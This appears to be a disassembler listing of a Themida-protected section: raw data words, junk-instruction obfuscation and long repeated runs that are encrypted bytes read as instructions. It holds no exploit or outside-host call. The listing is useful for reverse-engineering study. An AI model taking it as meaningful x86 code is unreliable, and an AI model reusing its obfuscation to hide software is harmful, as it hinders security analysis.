dd 0BF8D4C24h, 6731A3B7h, 8ACA8B66h, 0EB8166D5h, 8C0F46F9h
dd 1, 0E4D8BFF8h, 0CE857B7h, 33000000h, 0B32B27C6h, 0DEB536E8h
dd 0E96C9A0Fh, 0Bh, 23F6A8BBh, 60CD298Dh, 5BCD3D6Ch, 0FFE8BFCh
dd 380h, 68EE8000h, 8E8h, 0BC2B9200h, 8B50B8DFh, 0C28B5A9Fh
dd 8291B966h, 8E9h, 8ABE7B00h, 5CA403EBh, 12E86Bh, 0EA890000h
dd 3F8A8A07h, 705A73E4h, 195DC509h, 61B42056h, 820F53h
dd 5A000000h, 0C68B6659h, 8166C18Bh, 665D06CAh, 60A7F8B9h
dd 6E9h, 2A806F00h, 0F4BDC92h, 380h, 0D0BF0F00h, 0C1816661h
dd 8B6688ECh, 13E9C7h, 0EB1D0000h, 0B144830Ch, 4C2658D2h
dd 448DD497h, 0F274D38Bh, 0FB8B6651h, 2870Fh, 0C88B0000h
dd 3BF0E881h, 0BB533265h, 5487C80Eh, 8E95Fh, 0AC410000h
dd 8B8E717h, 0F98A016Fh, 9E8C38Bh, 0DA000000h, 453F315Ah
dd 9BCB0501h, 8A5AD98Bh, 0F6B70FD9h, 4260BF66h, 10E9h
dd 772B0B00h, 65C2CEB9h, 0D254B8A3h, 0AAAF433Dh, 0FC78056h
dd 18A0Fh, 66FC0000h, 667271BEh, 0B55EE681h, 5E9h, 43C04D00h
dd 81666F00h, 81C85AE9h, 99B08CDFh, 0F081662Fh, 0E850E9E5h
dd 13h, 0C98A6472h, 0AEEE08E1h, 0C1802C9Dh, 4790AC6Ch
dd 66412A99h, 0A0B7C181h, 12E85B5Fh, 44000000h, 8C4AE6BBh
dd 227D9062h, 15980630h, 0D1E36502h, 6E9C4h, 3C10000h
dd 61685D3Ah, 0C6816059h, 2F175BE7h, 5AE38166h, 8E96187h
dd 0AB000000h, 6A9D34BDh, 669FE704h, 0C380CF8Bh, 7DD081C9h
dd 0BA1F064Ch, 6442D490h, 58F0Fh, 4CBF0000h, 0F57BE606h
dd 0CBB70FF8h, 66C9F780h, 0F1DC781h, 0D68166F8h, 8166306Ah
dd 0E83637D8h, 11h, 0F4C1B826h, 8B2808CBh, 8DCC32D7h, 6AFD56CCh
dd 0DA8B66E4h, 10E95Eh, 0ED970000h, 6D8D9DAh, 6FF40570h
dd 738149FDh, 820F12E1h, 2, 0F081DE8Bh, 35B43FCBh, 11800Fh
dd 6E80000h, 7D000000h, 0D3E7569h, 0EBB9BA65h, 0F85F5059h
dd 8B7EB866h, 268A0Fh, 7E80000h, 90000000h, 0EEDC47DDh
dd 14E96D5Ah, 8D000000h, 1972FFDh, 866BC567h, 0F6F1607h
dd 5EEBB7A5h, 5E1D0FD7h, 0AE9F5h, 7E190000h, 0BC0B4EA1h
dd 0BF8E74BFh, 10F38166h, 0A9B4576Ah, 45D2815Bh, 0E8102507h
dd 13h, 648C7435h, 577173Ch, 35E90BA1h, 1D61C655h, 0E8DC9724h
dd 12h, 5199ECAAh, 0CD5A8F0h, 0C137A2C5h, 43FF39F9h, 820F0E71h
dd 0
; ---------------------------------------------------------------------------
pop esi
pop esi
jb loc_60529F
movsx edi, ax
loc_60529F: ; CODE XREF: Themida_:00605296j
call near ptr loc_6052AA+2
not byte ptr [ecx+ebp]
mov ch, 0C7h
loc_6052AA: ; CODE XREF: Themida_:loc_60529Fp
mov edx, 0D441B847h
sbb ah, [edi+5Fh]
mov esi, ebx
or dx, 870Fh
mov cl, 7Eh
movsx edi, cx
push eax
mov ecx, esi
pop edx
mov ecx, edx
mov al, 0D0h
jmp loc_6052D8
; ---------------------------------------------------------------------------
db 75h
dd 0A4A5EA37h, 3BA9904Eh, 982D6FE4h
; ---------------------------------------------------------------------------
loc_6052D8: ; CODE XREF: Themida_:006052C6j
xor dh, 0ABh
sub bx, 0C51Ch
and bx, 0B3BBh
jmp loc_6052FA
; ---------------------------------------------------------------------------
dw 808h
dd 0C8E4465Fh, 0A6396C5h, 0A7A45CCFh
db 0D6h, 5
; ---------------------------------------------------------------------------
loc_6052FA: ; CODE XREF: Themida_:006052E5j
call sub_605309
rep mov ebx, 36679CE7h
jp short loc_605370
adc al, 7Ah
; =============== S U B R O U T I N E =======================================
sub_605309 proc near ; CODE XREF: Themida_:loc_6052FAp
jp loc_605311
mov edi, ebx
loc_605311: ; CODE XREF: sub_605309j
pop ebx
jmp loc_605323
; ---------------------------------------------------------------------------
sahf
push edx
inc ecx
cmp eax, 0BD027DB0h
lds ecx, [ecx+39h]
das
loc_605323: ; CODE XREF: sub_605309+9j
movzx edx, dx
pusha
jmp loc_605333
; ---------------------------------------------------------------------------
dd 55662A8Ch
db 69h, 0DDh, 0E6h
; ---------------------------------------------------------------------------
loc_605333: ; CODE XREF: sub_605309+1Ej
jnp loc_60533A
stc
loc_60533A: ; CODE XREF: sub_605309:loc_605333j
popa
mov dx, 0A42h
mov ch, ah
jnb loc_60534F
push ebx
and ebx, 3E7A2635h
pop esi
loc_60534F: ; CODE XREF: sub_605309+38j
mov eax, 1BBA42FFh
push ebx
pop edx
mov eax, 1E0AA39Ah
mov ax, 9D58h
movsx edx, di
jg loc_605369
stc
loc_605369: ; CODE XREF: sub_605309+59j
adc bh, 71h
mov bh, 0D9h
mov ecx, edi
loc_605370: ; CODE XREF: Themida_:00605305j
push ecx
adc ecx, 1453CB24h
pop ebx
mov bx, si
xor edx, 0D22E979h
jmp loc_60538D
; ---------------------------------------------------------------------------
cmp al, dh
cwde
aad 0FCh
test al, 0A1h
loc_60538D: ; CODE XREF: sub_605309+78j
push edi
mov dx, 2BD1h
pop ecx
jns $+6
cld
jmp loc_6053A7
; ---------------------------------------------------------------------------
db 0EEh
dd 63E2A867h
db 2 dup(76h), 0E3h
; ---------------------------------------------------------------------------
loc_6053A7: ; CODE XREF: sub_605309+91j
pusha
pusha
js $+6
jmp loc_6053BF
; ---------------------------------------------------------------------------
dd 8FD7DE8Dh, 0A23D6B4Ah
db 3Fh, 8Ch, 41h
; ---------------------------------------------------------------------------
loc_6053BF: ; CODE XREF: sub_605309+A6j
popa
jmp loc_6053D2
; ---------------------------------------------------------------------------
db 40h, 12h, 0BBh
dd 3D3EA524h, 0B3407F97h
db 0EFh, 0B3h
; ---------------------------------------------------------------------------
loc_6053D2: ; CODE XREF: sub_605309+B7j
popa
and ebx, 1745D176h
and bx, 0E35Bh
sub bx, 5E4Ah
mov ax, di
call sub_6053F8
lds esp, [esi+52EEA4C5h]
xor [edi], esp
sub al, 0B2h
icebp
pop ecx
dec ebx
sub_605309 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_6053F8 proc near ; CODE XREF: sub_605309+DDp
push ebx
mov ecx, 3F345CFBh
pop esi
pop esi
jmp loc_60540E
; ---------------------------------------------------------------------------
db 24h, 9Ch, 0F2h
dd 0E34FF5A9h
db 3, 1Ch
; ---------------------------------------------------------------------------
loc_60540E: ; CODE XREF: sub_6053F8+8j
sbb eax, 559D8D34h
mov ecx, 79B187E0h
sub ebx, 32A9077Ah ; CODE XREF: Themida_:00605474j
mov ecx, ebx
jle loc_605429
mov eax, edi
loc_605429: ; CODE XREF: sub_6053F8+29j
mov bl, 25h
call near ptr loc_605437+1
push esp
cmpxchg [edi], bh
mov dl, dl
inc ebx
loc_605437: ; CODE XREF: sub_6053F8+33p
call far ptr 5B2Fh:0DBC08166h
sub_6053F8 endp ; sp-analysis failed
sbb ecx, 4F973659h
pusha
push eax
pusha
popa
pop eax
push ecx
jmp loc_605462
; ---------------------------------------------------------------------------
mov ss, word ptr [ecx-55EBA6E0h]
or eax, 364A9099h
cmpsd
enter 202Eh, 1Ch
aas
inc esi
inc esp
loc_605462: ; CODE XREF: Themida_:0060544Aj
pop ecx
popa
call loc_605479
test [eax], al
out 0F1h, al ; AT 80287 Reset.
; Coprocessor is reset from protected mode to real mode
and eax, 2E449A37h
db 64h
inc esi
jecxz short near ptr loc_605419+5
outsb
pop eax
push edx
loc_605479: ; CODE XREF: Themida_:00605464p
or ecx, 2356835Bh
pop edi
mov al, 36h
les ecx, [eax]
push ds
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
sbb al, 0C4h
or [esi], bl
shr dword ptr [ebp-522E21E1h], 1
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
pop ds
fcomp5 st(1)
lodsd
